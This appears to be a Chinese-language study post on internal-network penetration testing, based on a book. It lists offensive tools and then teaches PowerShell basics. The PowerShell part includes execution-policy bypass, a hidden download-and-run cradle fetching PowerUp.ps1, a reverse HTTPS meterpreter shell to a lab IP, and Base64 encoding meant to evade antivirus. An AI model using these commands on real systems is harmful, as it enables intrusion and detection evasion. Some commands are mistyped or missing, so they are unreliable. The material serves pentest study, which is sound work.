内网渗透测试主机平台及常用工具
0x00:from
--《内网安全攻防》
0x01:虚拟机安装
VirtualBOX
vmware Workstation Player
我比较常用VMware ,安装方法百度即可,比较简单。
1.桥接模式
相当于主机和虚拟机插在同一个交换机上,虚拟机是一个独立的机器,主机以及主机同网段的机器都可以访问虚拟机,反之虚拟机也可以访问其他同网段的机器。
2.NAT模式
与桥接不同的是,NAT模式下的虚拟机通过网络地址转换,通过与主机连接来访问网络,虚拟机可以访问主机(物理机)所在的所有同网段机器,但是除了主机其他同网段的计算机无法访问虚拟机。这也是默认情况下的配置。
3.Host-Only模式
仅主机模式,该模式下虚拟机是不通网络的,有且只有主机(物理机)和该虚拟机同网段的其他主机可以互相访问。相当于一个与外界隔离的局域网环境。
0x02:kali渗透平台以及常用工具
kali就不说了,公认的渗透测试平台,基于Debian Linux操作系统,包含了大量的安全工具,内网sto渗透很多情况下离不开kali。
1.WCE
WCE(windows凭证管理器)是安全人员广泛使用的一种安全工具,用于通过Penetration Testing评估Windows网络的安全性,支持Windows xp/Server 2003/Vista/Server 2008/8,下载地址: https://www.ampliasecurity.com/research/windows-credentials-editor/
WCE常用于列出登陆会话,以及添加、删除、修改和列出关联凭据(例如LM Hash、NTLM Hash、明文密码和Kerberos票据)。
2.mimikatz
mimikatz用于从内存中获取明文密码、现金票据和密钥等。下载链接:https://github.com/gentilkiwi/mimikatz/releases/latest
3.Responder
responder不仅用于嗅探网络内所有的LLMNR包和获取主机的信息,还提供了多种渗透测试环境和场景,包括了HTTP/HTTPS、SMB、SQL Server、FTP、IMAP、POP3等。
4.BeEF
BeEF是一款针对浏览器的渗透测试工具,官方网站: https://beefproject.com/
BeEF可以通过XSS漏洞,利用JavaScript代码对目标主机的浏览器进行测试。同时,BeEF可以配合Metasploit进一步对目标主机进行渗透。
5.DSHashes
DSHashes 的作用是从NTDSXtract中提取用户易于理解的散列值,下载地址:https://storage.googleapis.com/google-code-archive-source/v2/code.google.com/ptscripts/source-archive.zip
6.PowerSploit
PowerSploit 是一款基于PowerShell的后渗透(Post-Exploitation)测试框架。 PowerSploit 包含很多PowerShell脚本,主要用于渗透测试中的信息收集、权限提升、权限维持。下载地址: https://github.com/PowerShellMafia/PowerSploit.git
7.Nishang
Nishang是一款针对PowerShell的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload,被广泛应用于渗透测试的各个阶段。下载地址: https://github.com/samratashok/nishang
8.Empire
Empire是一款内网渗透测试利器,其跨平台性类似于Metasploit,有丰富的模块和接口,用户可以自行添加模块和功能。
9.ps_encoder.py
该脚本用于使用base64编码封装PowerShell命令包,目的是混淆和压缩代码。下载地址: https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
10.smbexec
smbexec 是一个使用Samba工具的快速PsExec类工具。
PsExec的执行原理是:先通过ipc$进行连接,再将psexesvc.exe释放到目标机器中。通过服务管理(SCManager)远程创建psexecsvc服务并启动服务。客户端连接负责执行命令,服务端负责启动相应的程序并回显数据。
以上描述的是SysInternals中的PsExec的执行原理。Metasploit、impackePTH中的psExec使用的都是这种原理。
PsExec会释放文件,特征明显,因此专业的杀软都可以将其检测出来。在使用PsExec时需要安装服务,因此会留下日志。推出PsExec偶尔会出现不能删除服务的情况,因此需要开启admin$445端口共享。在进行攻击溯源时,可以通过日志信息来推测攻击过程。PsExec的特点在于,在进行渗透测试时可以直接提供目标主机的System权限。地址:https://github.com/brav0hax/smbexec
11.后门制造工厂
后门制造工厂用于对PE、ELF、Mach-O等二进制文件注入ShellCode(作者已停止维护),下载地址:https://github.com/secretsquirrel/the-backdoor-factory.git
12.Veil
Veil用于生成绕过常见防病毒解决方案的Metasploit有效载荷,下载地址: https://github.com/Veil-Framework/Veil
13.Metasploit
Metasploit 本质上是一个计算机安全项目(框架),目的是为用户提供已知安全漏洞的重要信息,帮助用户指定渗透测试以及IDS测试计划、战略和开发方法。官方网站: https://www.metasploit.com/
14.Cobalt Strike
Cobalt Strike是一款优秀的后渗透测试平台,功能强大,适合团队合作。主要用于内网渗透测试。官方网站: https://www.cobaltstrike.com/
0x03:Windows渗透测试平台及常用工具
用于进行渗透测试的windows主机,推荐安装win7/10系统,最好在虚拟机,但是流畅性肯定不如物理机。
1.Nmap
Nmap是一个免费的网络发现和安全审计工具,用于发现主机、扫描端口、识别服务、识别操作系统等。
2.Wireshark
Wireshark是一个免费且开源的网络协议和数据表解析器。它能把网络接口设置为混杂模式,从而监控整个网络的流量。
3.PuTTY
PuTTY是一个免费开源的SSH和Telnet客户端,可用于远程访问。
4.sqlmap
sqlmap是一个免费开源的工具,用于检测sql注入行为,也提供了对数据库攻击测试的选项。
5.Burp Suite
Burp Suite 是一个用于对web应用程序进行安全测试的集成平台,有两个主要的免费工具,分别是spider和intruder。spider用于抓取应用程序界面。intruder用于对页面进行自动化攻击测试,其中专业版的burp scanner可以扫描应用程序的漏洞。
6.hydra
hydra是一个网络登陆爆破工具
7.Getif
Getif亿域手机SNMP设备信息
8.Cain&Abel
Cain&Abel 是Windows中的一个密码恢复工具,可以通过嗅探网络,使用Dictionary、Brute-Force和Cryptanalysis,破解加密密码、记录VoIP会话、恢复无线网络密钥、显示密码框、发现缓存中的密码、分析路由信息,并能恢复各种密码。该工具不会利用任何软件漏洞和无法轻易修复的错误。
该软件涵盖了协议标准、身份验证方法和缓存中的一些安全弱点,主要用于恢复密码和凭证。下载地址: http://www.oxid.it/cain.html
9.PowerSploit
https://github.com/PowerShellMafia/PowerSploit.git
10.Nishang
https://github.com/samratashok/nishang
0x04 :Windows PowerShell基础
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(win7 win 、server 2008 R2以及更高版本),为Windows命令行使用者和脚本编写者利用,.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可以将 PowerShell 的脚本文件(.ps1)下载到磁盘中执行(甚至无需将脚本文件写到磁盘中) 。也可以把 PowerShell 看作命令行提示符cmd.exe的扩展。
PowerShell 需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有shell之首。 PowerShell 的这些特点,使它逐渐成为一个非常流行的安全测试工具。PowerShell具备以下特点:
- 在win7以上版本默认安装
- 脚本可以在内存中运行,不需要写入磁盘
- 几乎不会触发安全软件
- 可以远程执行
- 目前很多工具都是基于 PowerShell 开发的
- 使得Windows的脚本执行变得更容易
- cmd.exe的运行通常会被阻止,但是 PowerShell 的运行不会被阻止
- 可用于管理活动目录
windows系统对应的 PowerShell 版本:
- win7/win server 2008 2.0 可以升级为3.0 4.0
- win8/win server 2012 3.0 可以升级为4.0
- win8.1/win server 2012 R2 4.0 /Na
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看 PowerShell 版本:
0x05 :PowerShell的基本概念
1. .ps1文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”.PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。
2.执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”
如果PowerShell脚本无法运行,可以使用以下的cmdlet命令查询当前的执行策略。
- Get-ExecutionPolicy
- Restricted:脚本不能运行(默认配置)
- RemoteSigned:在本地创建的脚本可以运行,但是从网络下载的脚本不能运行(拥有数字证书签名的除外)
- ALLSigner:仅当脚本由受信任的发布者签名时才能运
- Unrestricted:运行所有脚本运行
可以使用以下cmdlet命令设置 PowerShell 执行策略
set-ExecutionPolicy <policy name>
例如: set-ExecutionPolicy Unrestricted
3.运行脚本
要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“d:\Script\a.sp1”
和linux相同,如果脚本在当前目录,直接.\a.sp1即可运行。
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。
我们通过一个例子来了解管道是如何工作的。例如以下命令,让所有正在运行的、名字以字符“p”开头的程序停止运行。
PS>get-process p* | stop-process
0x06 :PowerShell的常用命令
1.基本知识
在PowerShell下,类似cmd的的命令叫做cmdlet命令。二者的命名规范一致,都采用“动词-名词”的形式,例如“New-ltem”。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容windows Command和Linux shell 例如Get-Childltem命令在dir和ls下均可使用,另外 PowerShell命令不区分大小写。
下面以文件操作为例讲解一下 PowerShell 命令基本用法。
新建目录: New-Item -path D:\ -name test -type directory
新建文件:New-Item -path d:\test\test.txt -type file
删除目录:Remove-Item d:\test
显示文本内容:Get-Content D:\test.txt
设置文本内容:Set-Content D:\test.txt -Value "hello"
追加内容:Add-Content D:\test.txt -Value "man"
清除内容:Clear-Content D:test.txt
2.常用命令
在windows终端下输入powershell ,进入power shell命令行环境。输入“help” 命令即可显示帮助菜单。
要想运行powershell脚本,必须使用管理员权限将 Restricted 改为 Unrestricted
(1)绕过本地权限执行
将powershell上传到目标服务器,在命令行环境下执行以下命令,绕过安全策略,在目标服务器本地执行该脚本。
powershell.exe -ExecutionPolicy Bypass -File .\test.ps1
将同一个脚本上传到目标服务器,在目标本地执行脚本文件,命令如下:
powershell.exe -exec bypass -Command "& {import-module d:\PowerUp.ps1; invoke-allchecks}"
(2)从网站下载脚本,绕过不低权限并隐藏执行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[parameters]
使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。
最终的执行代码如下
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.150.1:8000/Privesc/PowerUp.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.150.145 -Lport 80
下面对常用参数进行说明:
- ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,PowerShell的安全策略规定PowerShell不能运行命令和文件。
-WindowStyle Hidden(-W Hidden):隐藏窗口。
-NonInteractive(-NonI):非交互模式。PowerShell不为用户提供交互式的提示。
-NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
-noexit:执行后不退出Shell。这个参数在使用键盘记录等脚本时非常重要。
-NoLogo:启动不显示版权标志的PowerShell。
(3)使用Base64对PowerShell命令进行编码
使用Base64对PowerShell命令进行编码的目的是想混淆和压缩代码,从而避免脚本因为一些特殊字符被杀毒软件查杀。
可以使用Python脚本对所有的PowerShell命令进行Base64编码。脚本地址 https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py 。使用Base64编码对其进行封装。在使用ps_encode.py进行文本转换时,转移的对象必须是文本文件,因此,要先把命令保存为文本文件,示例如下:
echo "IEX(New-Object New.WebClient) .DownloadString(' http://192.168.150.1:8000/Privesc/PowerUp.ps1')";Invoke-Shellcode-Payload windows/meterpreter/reverse_https -Lhost 192.168.150.145 -Lport 80 -Force" >raw.txt
为ps_encoder.py授予执行权限
然后为语言base64封装:
在远程主机执行如下命令:
3.运行32位和64位PowerShell
一些特定的Powershell只能运行在特定的平台上。例如,在64位平台上,需要通过64位的PowerShell脚本来执行命令。
在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的,也就是32位的。
32位和64位寻址空间不同,寄存器不同所以不能混用。
x64版本PowerShell配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\
运行32位PowerShell脚本,命令如下。
运行64位PowerShell脚本,命令如下。